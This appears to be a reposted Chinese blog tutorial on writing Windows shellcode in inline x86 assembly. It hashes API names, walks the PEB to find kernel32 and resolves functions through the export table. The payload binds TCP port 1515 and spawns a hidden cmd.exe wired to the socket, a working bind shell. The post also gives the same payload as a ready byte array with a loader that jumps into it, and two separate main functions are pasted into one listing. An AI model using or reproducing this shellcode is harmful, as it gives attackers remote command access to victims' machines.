1.函数加密
//函数加密 摘要 (条件尽可能避免有0x00 尽可能避免发生碰撞)注意没有加.dll
int Hash_GetDigest(char * strFunName) {
unsigned int nDigest = 0;
while (*strFunName)
{
nDigest = ((nDigest << 25) | nDigest >> 7);
nDigest = nDigest + *strFunName;
strFunName++;
}
return nDigest;
}
先运行试试 成功
测试shellcode 正常(注意win下要手动去开户telnet服务)
把shellcode放入异常处就可以了
// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
//函数加密摘要 (条件尽可能避免有0x00 尽可能避免发生碰撞)注意没有加.dll
int Hash_GetDigest(char * strFunName) {
unsigned int nDigest = 0;
while (*strFunName)
{
nDigest = ((nDigest << 25) | nDigest >> 7);
nDigest = nDigest + *strFunName;
strFunName++;
}
return nDigest;
}
int _tmain(int argc, _TCHAR* argv[])
{
__asm
{
SUB ESP, 0x20 // 开辟一段栈空间,增加健壮性
push ebp
mov ebp, esp
sub esp, 0x10
JMP tag_Shellcode // 前置代码,避免后面的数据被解释为指令
// [tag_Next-0x25] "cmd.exe\0"
_asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
// [tag_Next-0x1D] "ws2_32.dll\0"
_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
// [tag_Next-0x12] "kernel32.dll\0"
_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x00)
tag_Shellcode:
// 1. GetPC
CALL tag_Next
tag_Next :
pop ebx // ebx = BaseAddr
mov[ebp - 0x04], ebx // Local_1 = Shellcode BaseAddr
// 2. 获取关键模块基址
mov esi, dword ptr fs : [0x30] // esi = PEB的地址
mov esi, [esi + 0x0C] // esi = 指向PEB_LDR_DATA结构的指针
mov esi, [esi + 0x1C] // esi = 模块链表指针InInit...List
mov esi, [esi] // esi = 访问链表中的第二个条目
mov edx, [esi + 0x08] // edx = 获取Kernel32.dll基址
// 3. 获取LoadLibraryExA的函数地址
push edx // ImageBase = Kernel32.dll
push 0xC0D83287 // nHashDigest = LoadLibraryExA Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
mov edi, eax // edi = LoadLibraryExA
// 4. 加载Kernel32.dll,增强兼容新(Win7取得的是KernelBase.dll的基址)
lea esi, [ebx - 0x12] // eax = "kernel32.dll\0"
push 0 // /-dwFlags = 0
push 0 // |-hFile = 0
push esi // |-lpLibFileName = "kernel32.dll"
call edi // LoadLibraryExA()
mov[ebp - 0x08], eax // Local_2 = Kernel32.dll基址
// 5. 加载ws2_32.dll,以方便后面的网络通信编程
lea esi, [ebx - 0x1D] // eax = "ws2_32.dll\0"
push 0 // /-dwFlags = 0
push 0 // |-hFile = 0
push esi // |-lpLibFileName = "ws2_32.dll"
call edi // LoadLibraryExA()
mov[ebp - 0x0C], eax // Local_3 = ws2_32.dll基址
// 6. 调用Payload部分
push[ebp - 0x0C] // ws2_32.dll基址
push[ebp - 0x08] // Kernel32.dll基址
push[ebp - 0x04] // BaseAddr
call fun_Payload
// 7. Payload执行完毕,结束程序,防止被调试分析
push[ebp - 0x08] // ImageBase = Param_2(Kernel32.dll)
push 0x4FD18963 // nHashDigest = ExitProcess Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0 // /-uExitCode = NULL
call eax // ExitProcess()
mov esp, ebp
pop ebp
/***********************************************************/
/* 函数:根据Hash值获取指定的函数地址,返回值为关键函数地址*/
/***********************************************************/
fun_GetFunAddrByHash : // (int nHashDigest, int ImageBase)
push ebp
mov ebp, esp
sub esp, 0x0C
push edx
// 1. 获取EAT、ENT与EOT的地址
mov edx, [ebp + 0x0C] // edx = Param_1(ImageBase)
mov esi, [edx + 0x3C] // esi = IMAGE_DOS_HEADER.e_lfanew
lea esi, [edx + esi] // esi = PE文件头
mov esi, [esi + 0x78] // esi = IMAGE_DIR...EXPORT.VirtualAddress
lea esi, [edx + esi] // esi = 导出表首地址
mov edi, [esi + 0x1C] // esi = IMAGE_EXP...ORY.AddressOfFunctions
lea edi, [edx + edi] // edi = EAT首地址
mov[ebp - 0x04], edi // Local_1 = edi = EAT首地址
mov edi, [esi + 0x20] // edi = IMAGE_EXP...ORY.AddressOfNames
lea edi, [edx + edi] // edi = ENT首地址
mov[ebp - 0x08], edi // Local_2 = edi = ENT首地址
mov edi, [esi + 0x24] // edi = IMAGE_EXP...ORY.AddressOfNameOrdinals
lea edi, [edx + edi] // edi = EOT首地址
mov[ebp - 0x0C], edi // Local_3 = edi = EOT首地址
// 2. 循环对比ENT中的函数名
xor ecx, ecx
jmp tag_FirstCmp
tag_CmpFunNameLoop :
inc ecx
tag_FirstCmp :
mov esi, [ebp - 0x08] // esi = Local_2(ENT)
mov esi, [esi + 4 * ecx] // esi = ENT RVA
mov edx, [ebp + 0x0C] // edx = Param_1(ImageBase)
lea esi, [edx + esi] // esi = ENT VA
push[ebp + 0x08] // nDigest = Param_1(nHashDigest)
push esi // strFunName = ENT VA
call fun_Hash_CmpString // fun_Hash_CmpString
test eax, eax
jz tag_CmpFunNameLoop // 如果不相等则继续循环比对
// 3. 成功后找到对应的序号
mov esi, [ebp - 0x0C] // esi = Local_3(EOT)
xor edi, edi
mov di, [esi + ecx * 2] // edi = 用函数名数组下标在序号数组找到对应序号
// 4. 使用序号作为索引,找到函数名所对应的函数地址
mov edx, [ebp - 0x04] // edx = Local_1(EAT)
mov esi, [edx + edi * 4] // esi = 用序号在函数地址数组找到对应的函数地址
mov edx, [ebp + 0x0C] // edx = Param_1(ImageBase)
// 5. 返回获取到的关键函数地址
lea eax, [edx + esi] // 返回GetProcAddress的地址
pop edx
mov esp, ebp
pop ebp
retn 0x08
/***************************************************************/
/* 函数:根据摘要确认函数名,若函数名与此摘要相符返回1否则返回0*/
/***************************************************************/
fun_Hash_CmpString: //(char *strFunName, int nDigest)
push ebp
mov ebp, esp
sub esp, 0x04 // 开辟局部变量并清零
mov dword ptr[ebp - 0x04], 0x00
push ebx // 保存用到的寄存器
push ecx
push edx
mov esi, [ebp + 0x08] // esi = Param_1(strFunName)
xor ecx, ecx
xor eax, eax
tag_HashLoop :
mov al, [esi + ecx] // al = 字符串的第ECX个字符
test al, al // 判断是否为0,为0结束循环
jz tag_HashEnd
mov ebx, [ebp - 0x04] // ebx = Local_1(摘要)
shl ebx, 0x19 // ebx = 摘要<<0x19(25)
mov edx, [ebp - 0x04] // edx = Local_1(摘要)
shr edx, 0x07 // edx = 摘要>>0x07(07)
or ebx, edx // edx = ebx|edx
add ebx, eax // edx = edx + 字符的ASCII
mov[ebp - 0x04], ebx
inc ecx // ecx++
jmp tag_HashLoop
tag_HashEnd :
mov ebx, [ebp + 0x0C] // ebx = Param_2(nDigest)
mov edx, [ebp - 0x04] // edx = Local_1(摘要)
xor eax, eax
cmp ebx, edx
jne tag_FunEnd
mov eax, 1
tag_FunEnd:
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
retn 0x08
/**********************************/
/* 函数:有效载荷部分,返回值Null */
/**********************************/
fun_Payload: // (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
push ebp
mov ebp, esp
sub esp, 0x300
// 1. 初始化Winsock服务
push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
push 0x80B46A3D // nHashDigest = WSAStartup Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
lea esi, [ebp - 0x300] // esi = WSADATA
push esi // /-lpWSAData = WSADATA
push 0x0202 // |-wVersionRequested = 2.2
call eax // WSAStartup()
test eax, eax
jnz tag_PaloadEnd
// 2. 创建一个原始套接字
push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
push 0xDE78322D // nHashDigest = WSASocketA Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0 // /-dwFlags = NULL
push 0 // |-g = NULL
push 0 // |-lpProtocolInfo = NULL
push 6 // |-protocol = IPPROTO_TCP
push 1 // |-type = SOCK_STREAM
push 2 // |-af = AF_INET
call eax // WSASocketA()
mov[ebp - 0x04], eax // Local_1 = SOCKET
// 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0xBE05]
push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
push 0xDDA71064 // nHashDigest = bind Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
mov word ptr[ebp - 0x200], 0x02 // / SOCKADDR_IN.sin_family = AF_INET
mov word ptr[ebp - 0x1FE], 0xEB05 // | SOCKADDR_IN.sin_port = 0xEB05(1515)
mov dword ptr[ebp - 0x1FC], 0 // \ SOCKADDR_IN.sin_addr = INADDR_ANY
lea esi, [ebp - 0x200] // esi = SOCKADDR_IN
push 0x14 // /-namelen = 0x14
push esi // |-name = SOCKADDR_IN
push[ebp - 0x04] // |-s = Local_1(SOCKET)
call eax // bind()
test eax, eax
jnz tag_PaloadEnd
// 4. 监听申请的连接,队列中可容纳5个链接
push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
push 0x4BD39F0C // nHashDigest = listen Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0x7FFFFFFF // /-backlog = SOMAXCONN
push[ebp - 0x04] // |-s = Local_1(SOCKET)
call eax // listen()
test eax, eax
jnz tag_PaloadEnd
// 5. 接受一个连接
push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
push 0x01971EB1 // nHashDigest = accept Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
push 0 // /-addrlen = NULL
push 0 // |-addr = NULL
push[ebp - 0x04] // |-s = Local_1(SOCKET)
call eax // accept()
mov[ebp - 0x04], eax // Local_1(SOCKET) = SOCKET
// 6. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
push[ebp + 0x0C] // ImageBase = Param_2(Kernel32.dll)
push 0x6BA6BCC9 // nHashDigest = CreateProcessA Digest
call fun_GetFunAddrByHash // fun_GetFunAddrByHash
mov edx, eax // edx = CreateProcessA
lea edi, [ebp - 0x90] // / 清空STARTUPINFOA
mov ecx, 0x11 // | STARTUPINFOA
mov eax, 0x00 // | 从[ebp-0x90]开始
cld // | 到[ebp-0x48]结束
rep stosd // |
mov dword ptr[ebp - 0x90], 0x00000044 // | STA...A.cb = 48
mov dword ptr[ebp - 0x64], 0x00000100 // | STA...A.dwFlags = STARTF_USESTDHANDLES
mov word ptr[ebp - 0x60], 0x0000 // | STA...A.wShowWindow = SW_HIDE
mov esi, [ebp - 0x04] // esi = Local_1(SOCKET)
mov dword ptr[ebp - 0x58], esi // | STA...A.hStdInput = SOCKET
mov dword ptr[ebp - 0x54], esi // | STA...A.hStdOutput = SOCKET
mov dword ptr[ebp - 0x50], esi // \ STA...A.hStdError = SOCKET
lea esi, [ebp - 0x90] // esi = STARTUPINFOA
lea edi, [ebp - 0x200] // edi = PROCESS_INFORMATION
mov ebx, [ebp + 0x08] // ebx = Param_1(BaseAddr)
lea ebx, [ebx - 0x25] // ebx = "cmd.exe\0"
push edi // /-lpProcessInformation = PROCESS_INFORMATION
push esi // |-lpStartupInfo = STARTUPINFOA
push 0 // |-lpCurrentDirectory = NULL
push 0 // |-lpEnvironment = NULL
push 0 // |-dwCreationFlags = NULL
push 1 // |-bInheritHandles = TRUE
push 0 // |-lpThreadAttributes = NULL
push 0 // |-lpProcessAttributes = NULL
push ebx // |-lpCommandLine = "cmd.exe\0"
push 0 // |-lpApplicationName = NULL
call edx // CreateProcessA()
tag_PaloadEnd :
mov esp, ebp
pop ebp
retn 0x0C
}
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
char bShellcode[] = { "\x83\xEC\x20\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x0C\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x20\x00\x00\x00\x85\xC0\x74\xE6\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\xFF\x00\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x14\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA2\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x92\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x79\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00" };
__asm {
lea eax, bShellcode;
push eax;
ret
}
转载于:https://blog.51cto.com/haidragon/2125212